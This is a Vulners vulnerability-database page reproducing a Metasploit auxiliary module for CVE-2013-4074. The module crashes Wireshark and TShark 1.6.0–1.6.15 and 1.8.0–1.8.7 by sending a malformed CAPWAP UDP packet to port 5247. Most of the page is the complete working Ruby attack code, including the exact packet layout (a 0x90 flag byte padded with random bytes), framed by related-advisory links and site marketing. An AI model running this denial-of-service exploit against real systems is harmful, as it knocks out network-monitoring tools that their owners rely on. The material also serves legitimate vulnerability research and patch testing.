Lucene search
+L

Wireshark CAPWAP Dissector DoS

🗓️ 28 Apr 2014 00:00:00Reported by Laurent Butti, j0sm1Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 42 Views

Wireshark CAPWAP Dissector DoS. Malformed UDP packet crashes Wireshark and TShark 1.6.0 to 1.8.7 due to incorrect length handling in CAPWAP dissector

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Wireshark CAPWAP Dissector - Denial of Service (msf)
1 Jun 201400:00
zdt
circl
Circl
CVE-2013-4074
28 May 201400:00
circl
cve
CVE
CVE-2013-4074
9 Jun 201321:00
cve
cvelist
Cvelist
CVE-2013-4074
9 Jun 201321:00
cvelist
debian
Debian
[SECURITY] [DSA 2709-1] wireshark security update
17 Jun 201316:52
debian
debiancve
Debian CVE
CVE-2013-4074
9 Jun 201321:00
debiancve
nessus
Tenable Nessus
Debian DSA-2709-1 : wireshark - several vulnerabilities
18 Jun 201300:00
nessus
nessus
Tenable Nessus
F5 Networks BIG-IP : Multiple Wireshark vulnerabilities (K15868)
28 Nov 201400:00
nessus
nessus
Tenable Nessus
Fedora 20 : wireshark-1.10.2-7.fc20 (2013-17627)
3 Oct 201300:00
nessus
nessus
Tenable Nessus
Fedora 18 : wireshark-1.10.2-4.fc18 (2013-17635)
20 Dec 201300:00
nessus
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Udp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Wireshark CAPWAP Dissector DoS',
        'Description' => %q{
          This module injects a malformed UDP packet to crash Wireshark and TShark 1.8.0 to 1.8.7, as well
          as 1.6.0 to 1.6.15. The vulnerability exists in the CAPWAP dissector which fails to handle a
          packet correctly when an incorrect length is given.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Laurent Butti', # Discovery vulnerability
          'j0sm1' # Auxiliary msf module
        ],
        'References' => [
          ['CVE', '2013-4074'],
          ['OSVDB', '94091'],
          ['BID', '60500']
        ],
        'DisclosureDate' => '2014-04-28',
        'Notes' => {
          'Stability' => [CRASH_SERVICE_DOWN],
          'SideEffects' => [],
          'Reliability' => []
        }
      )
    )

    # Protocol capwap needs port 5247 to trigger the dissector in wireshark
    register_options([ Opt::RPORT(5247) ])
  end

  def run
    connect_udp

    # We send a packet incomplete to crash dissector
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Trying to crash wireshark capwap dissector ...")
    # With 0x90 in this location we set to 1 the flags F and M. The others flags are sets to 0, then
    # the dissector crash
    # You can see more information here: https://www.rfc-editor.org/rfc/rfc5415.txt
    # F = 1 ; L = 0 ; W = 0 ; M = 1 ; K = 0 ; Flags = 000
    buf = Rex::Text.rand_text(3) + "\x90" + Rex::Text.rand_text(15)
    udp_sock.put(buf)

    disconnect_udp
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Apr 2014 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 25
EPSS0.60643
42